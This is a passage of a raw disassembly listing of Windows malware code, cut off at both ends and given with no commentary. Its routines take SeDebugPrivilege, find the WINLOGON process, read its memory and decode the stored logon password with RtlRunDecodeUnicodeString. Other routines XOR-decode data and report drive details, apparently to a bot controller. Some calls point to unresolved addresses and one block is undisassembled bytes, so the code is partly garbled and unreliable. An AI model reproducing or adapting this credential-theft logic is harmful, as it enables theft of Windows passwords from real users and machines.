dbl_4276B0 fstp qword ptr [esp] push offset unk_4376AC push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_4167F5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4167F5: ; CODE XREF: ___:004167D3j lea eax, [ebp-510h] push eax call sub_4151AC push 10h lea eax, [ebp-10h] push esi push eax call sub_41B590 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_41B590 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset dword_43D128 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi call near ptr 2640BBCh nop cmp eax, edi jnz short loc_416877 call dword_4CAECC call sub_418359 push esi nop call near ptr 77E75CB5h loc_416877: ; CODE XREF: ___:00416863j lea eax, [ebp-148h] push eax push offset unk_437678 jmp short loc_416891 ; --------------------------------------------------------------------------- loc_416885: ; CODE XREF: ___:0041643Ej lea eax, [ebp-248h] push eax push offset unk_43764C loc_416891: ; CODE XREF: ___:00416883j lea eax, [ebp-510h] push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4168C5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4168C5: ; CODE XREF: ___:004168A3j lea eax, [ebp-510h] push eax call sub_4151AC pop ecx loc_4168D2: ; CODE XREF: ___:00416695j ; ___:0041671Ej ... push dword ptr [ebp-18h] call dword_4CAFA8 push dword ptr [ebp-48h] call sub_40B412 pop ecx push esi call near ptr 26C0000h nop ; =============== S U B R O U T I N E ======================================= sub_4168EB proc near ; CODE XREF: ___:00416517p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416907 loc_4168F7: ; CODE XREF: sub_4168EB+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_4168F7 locret_416907: ; CODE XREF: sub_4168EB+Aj retn sub_4168EB endp ; =============== S U B R O U T I N E ======================================= sub_416908 proc near ; CODE XREF: sub_401ACD+5841p ; sub_401ACD+5969p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41D3BE pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416908 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416922 proc near ; CODE XREF: sub_40F96A+458p ; sub_40F96A+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D2BA8 push 0 push edi call sub_41B590 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416947: ; CODE XREF: sub_416922+5Bj ; sub_416922+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41D480 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41D410 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416985 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416947 mov byte ptr [esi], 2Ch inc esi jmp short loc_416947 ; --------------------------------------------------------------------------- loc_416985: ; CODE XREF: sub_416922+4Bj dec esi mov eax, edi loc_416988: ; CODE XREF: sub_416922+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416997 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416988 ; --------------------------------------------------------------------------- loc_416997: ; CODE XREF: sub_416922+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416922 endp ; =============== S U B R O U T I N E ======================================= sub_4169A1 proc near ; CODE XREF: sub_416B56+51p ; sub_416B56+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CAFD4 sub eax, 0 jz short loc_4169E4 dec eax jz short loc_4169DE dec eax dec eax jz short loc_4169D8 dec eax jz short loc_4169D2 dec eax jz short loc_4169CC dec eax jz short loc_4169C6 mov eax, offset word_43783C retn ; --------------------------------------------------------------------------- loc_4169C6: ; CODE XREF: sub_4169A1+1Dj mov eax, offset off_437838 retn ; --------------------------------------------------------------------------- loc_4169CC: ; CODE XREF: sub_4169A1+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_4169D2: ; CODE XREF: sub_4169A1+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_4169D8: ; CODE XREF: sub_4169A1+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_4169DE: ; CODE XREF: sub_4169A1+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_4169E4: ; CODE XREF: sub_4169A1+Dj mov eax, offset aUnknown ; "Unknown" retn sub_4169A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169EA proc near ; CODE XREF: sub_416A32+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CAE64 test eax, eax jz short loc_416A1F lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416A1F: ; CODE XREF: sub_4169EA+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_4169EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A32 proc near ; CODE XREF: sub_416B56+17p ; sub_41AA42+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_4169EA pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416B10 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41D500 push edx push eax call sub_416922 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41B980 add esp, 10h pop ebx jmp short loc_416B42 ; --------------------------------------------------------------------------- loc_416B10: ; CODE XREF: sub_416A32+2Cj ; sub_416A32+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_41B886 pop ecx pop ecx loc_416B42: ; CODE XREF: sub_416A32+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B56 proc near ; CODE XREF: sub_416C28+17p ; sub_416C28+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41C070 add esp, 10h test eax, eax jnz short loc_416BC9 push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_43788C lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 14h jmp short loc_416BFD ; --------------------------------------------------------------------------- loc_416BC9: ; CODE XREF: sub_416B56+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_437850 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 20h loc_416BFD: ; CODE XREF: sub_416B56+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_500] push eax call sub_4151AC add esp, 18h pop edi pop esi pop ebx leave retn sub_416B56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C28 proc near ; CODE XREF: sub_401ACD+2553p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416C49 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h jmp short loc_416CAA ; --------------------------------------------------------------------------- loc_416C49: ; CODE XREF: sub_416C28+9j push esi push edi push ebx push ebx call dword_4CAEDC lea esi, [eax+2] push esi call sub_41B4D5 pop ecx mov edi, eax push edi push esi call dword_4CAEDC cmp [edi], bl mov esi, edi jz short loc_416CA1 loc_416C6D: ; CODE XREF: sub_416C28+77j push offset aA_1 ; "A:\\" push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_416C90 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h loc_416C90: ; CODE XREF: sub_416C28+54j push esi call sub_41AFE0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_416C6D loc_416CA1: ; CODE XREF: sub_416C28+43j push edi call sub_41B0B1 pop ecx pop edi pop esi loc_416CAA: ; CODE XREF: sub_416C28+1Fj pop ebx pop ebp retn sub_416C28 endp ; --------------------------------------------------------------------------- byte_416CAD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+689Fo dd 49CEC81h, 458B0000h, 57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h, 0FFFFFEECh dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh, 0FFFFFDE8h dd 78EC6850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h dd 8D5018C4h, 0FFFB6485h, 78CC68FFh, 0E8500043h, 4B06h dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh, 8D50F475h dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h dd 90535959h, 2A923BE8h, 5B5E5F02h, 81EC8B55h, 54CECh dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 3068FFFFh dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h dd 93BCBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh, 0E8BD8054h dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh, 45892CC4h dd 0BC858D1Ch, 50FFFFFEh, 0E8FC75FFh, 2319550h, 75C08590h dd 0FC75FF8Fh, 309173E8h, 75FF9002h, 0B8858D14h, 0FFFFFFFDh dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh, 437914h dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h dd 50FFFFFEh, 0C9E89056h, 85023194h, 56B175C0h, 90EEE890h dd 458B0230h, 5B5E5F1Ch ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F1A proc near ; DATA XREF: sub_401ACD+1CCFo var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41A8F4 cmp eax, esi mov [ebp+var_4], eax jz short loc_416F59 cmp eax, 2 jz short loc_416F59 push offset unk_437B08 jmp loc_417098 ; --------------------------------------------------------------------------- loc_416F59: ; CODE XREF: sub_416F1A+2Ej ; sub_416F1A+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx test eax, eax pop ecx jz loc_417093 push ebx push offset aNtdll_dll ; "NTDLL.DLL" nop call near ptr 2680C1Dh mov esi, dword_4270BC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D3DEC, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D3DE0, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D3FF0, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D3DE8, eax call esi mov dword_4D3DE4, eax call sub_4170EC test eax, eax mov [ebp+arg_0], eax jz loc_417066 mov esi, dword_42713C mov edi, 400h mov ebx, offset dword_4D2DE0 push edi push ebx push offset off_437A44 call esi push edi mov edi, offset dword_4D35E0 push edi push offset off_437A2C call esi cmp [ebp+var_4], 1 push offset dword_4D3FF8 push [ebp+arg_0] jnz short loc_417012 call sub_417275 jmp short loc_417017 ; --------------------------------------------------------------------------- loc_417012: ; CODE XREF: sub_416F1A+EFj call sub_41741C loc_417017: ; CODE XREF: sub_416F1A+F6j pop ecx test eax, eax pop ecx jz short loc_41705F cmp dword_4D3FF8, 0 jnz short loc_417046 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_4379D0 push 200h push eax call sub_41B980 add esp, 18h jmp short loc_417079 ; --------------------------------------------------------------------------- loc_417046: ; CODE XREF: sub_416F1A+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_417056 call sub_417552 jmp short loc_41705B ; --------------------------------------------------------------------------- loc_417056: ; CODE XREF: sub_416F1A+133j call sub_4175E9 loc_41705B: ; CODE XREF: sub_416F1A+13Aj pop ecx push eax jmp short loc_41706B ; --------------------------------------------------------------------------- loc_41705F: ; CODE XREF: sub_416F1A+101j push offset unk_437998 jmp short loc_41706B ; --------------------------------------------------------------------------- loc_417066: ; CODE XREF: sub_416F1A+B6j push offset unk_43796C loc_41706B: ; CODE XREF: sub_416F1A+143j ; sub_416F1A+14Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_417079: ; CODE XREF: sub_416F1A+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push [ebp+var_8] nop call near ptr 2760761h pop ebx jmp short loc_4170A6 ; --------------------------------------------------------------------------- loc_417093: ; CODE XREF: sub_416F1A+4Ej push offset unk_437938 loc_417098: ; CODE XREF: sub_416F1A+3Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_4170A6: ; CODE XREF: sub_416F1A+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4170CD push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409A72 add esp, 14h loc_4170CD: ; CODE XREF: sub_416F1A+191j lea eax, [ebp+var_29C] push eax call sub_4151AC push [ebp+var_18] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26C0000h pop edi pop esi sub_416F1A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4170EC proc near ; CODE XREF: sub_416F1A+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427148 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_427144 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D3DEC push ebp push 0 call esi push eax nop call near ptr 2770000h push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D3DEC test eax, eax jnz short loc_4171D9 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4171D9 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4171D9 loc_417175: ; CODE XREF: sub_4170EC+EBj cmp word ptr [ebx+8], 5 jnz short loc_4171CC push 0 push 0 call dword_4D3DE0 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D3FF0 test eax, eax jnz short loc_4171BD mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4171F1 loc_4171BD: ; CODE XREF: sub_4170EC+AAj test edi, edi jz short loc_4171C8 push edi call dword_4D3DE8 loc_4171C8: ; CODE XREF: sub_4170EC+D3j mov eax, [esp+28h+var_10] loc_4171CC: ; CODE XREF: sub_4170EC+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_417175 loc_4171D9: ; CODE XREF: sub_4170EC+6Dj ; sub_4170EC+7Aj ... xor edi, edi loc_4171DB: ; CODE XREF: sub_4170EC+17Dj push ebp push 0 call esi push eax nop call near ptr 2770000h mov eax, edi loc_4171E9: ; CODE XREF: sub_4170EC+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_4171F1: ; CODE XREF: sub_4170EC+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_41725A lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_417207: ; CODE XREF: sub_4170EC+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41726E push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41724C mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_41724C: ; CODE XREF: sub_4170EC+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417207 loc_41725A: ; CODE XREF: sub_4170EC+10Fj test edi, edi jz short loc_417265 push edi call dword_4D3DE8 loc_417265: ; CODE XREF: sub_4170EC+170j mov edi, [esp+28h+var_4] jmp loc_4171DB ; --------------------------------------------------------------------------- loc_41726E: ; CODE XREF: sub_4170EC+13Cj xor eax, eax jmp loc_4171E9 sub_4170EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417275 proc near ; CODE XREF: sub_416F1A+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h nop call near ptr 2660382h cmp eax, esi mov [ebp+var_4], eax jnz short loc_41729E xor eax, eax jmp loc_417419 ; --------------------------------------------------------------------------- loc_41729E: ; CODE XREF: sub_417275+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax call near ptr 279020Ah nop push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427148 push 8 call esi mov edi, dword_427144 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_427150 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_4172EE xor esi, esi jmp loc_41740C ; --------------------------------------------------------------------------- loc_4172EE: ; CODE XREF: sub_417275+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] nop call near ptr 2780C2Fh test eax, eax jz loc_4173FB mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4173FB test [ebp+var_2B], 1 jnz loc_4173FB push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_4173FB loc_417351: ; CODE XREF: sub_417275+112j push edi push offset dword_4D2DE0 call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_417379 lea eax, [edi+200h] push eax push offset dword_4D35E0 call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417389 loc_417379: ; CODE XREF: sub_417275+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4173FB jmp short loc_417351 ; --------------------------------------------------------------------------- loc_417389: ; CODE XREF: sub_417275+102j test edi, edi jz short loc_4173FB lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax call near ptr 2730000h nop test eax, eax jz short loc_4173C4 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax call near ptr 2720877h nop test eax, eax jz short loc_4173C4 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4173C4: ; CODE XREF: sub_417275+12Bj ; sub_417275+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D4004, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D3FFC, eax mov dword_4D4000, edi loc_4173FB: ; CODE XREF: sub_417275+90j ; sub_417275+A2j ... push [ebp+arg_0] push 0 call esi push eax call near ptr 2770000h nop mov esi, [ebp+var_10] loc_41740C: ; CODE XREF: sub_417275+74j push [ebp+var_4] nop call near ptr 26408DCh pop edi mov eax, esi pop ebx loc_417419: ; CODE XREF: sub_417275+24j pop esi leave retn sub_417275 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41741C proc near ; CODE XREF: sub_416F1A:loc_417012p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h nop call near ptr 2660382h test eax, eax mov [ebp+arg_0], eax jz loc_41750E mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax nop call near ptr 279020Ah mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417505 mov edi, dword_427148 loc_417467: ; CODE XREF: sub_41741C+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 2780C2Fh test eax, eax jz short loc_4174F3 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4174F9 test [ebp+var_13], 1 jnz short loc_4174F9 push ecx push 8 call edi push eax nop call near ptr 2780000h mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call near ptr 2790000h nop test eax, eax jz short loc_4174E5 push offset dword_4D2DE0 push esi call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_4174E5 lea eax, [esi+400h] push offset dword_4D35E0 push eax call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417515 loc_4174E5: ; CODE XREF: sub_41741C+9Fj ; sub_41741C+B0j push esi push 0 call edi push eax nop call near ptr 2770000h jmp short loc_4174F9 ; --------------------------------------------------------------------------- loc_4174F3: ; CODE XREF: sub_41741C+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4174F9: ; CODE XREF: sub_41741C+71j ; sub_41741C+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_417467 loc_417505: ; CODE XREF: sub_41741C+3Fj push [ebp+arg_0] call near ptr 26408DCh nop loc_41750E: ; CODE XREF: sub_41741C+1Ej xor eax, eax loc_417510: ; CODE XREF: sub_41741C+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417515: ; CODE XREF: sub_41741C+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D3FFC, ebx mov dword_4D4000, eax cmp [eax], cl jnz short loc_417537 cmp [eax+1], cl jz short loc_41753F loc_417537: ; CODE XREF: sub_41741C+114j ; sub_41741C+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417537 loc_41753F: ; CODE XREF: sub_41741C+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 26408DCh push 1 pop eax jmp short loc_417510 sub_41741C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417552 proc near ; CODE XREF: sub_416F1A+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D3FF8 push esi mov esi, dword_427148 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax nop call near ptr 2780000h mov ecx, dword_4D3FF8 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D4000 push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D4004 push eax call dword_4D3DE4 push [ebp+var_4] mov edi, offset dword_4D3DF0 push offset dword_4D2DE0 push offset dword_4D35E0 push [ebp+arg_0] push offset dword_437B54 push 200h push edi call sub_41B980 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax nop call near ptr 2770000h mov eax, edi pop edi pop esi leave retn sub_417552 endp ; =============== S U B R O U T I N E ======================================= ; 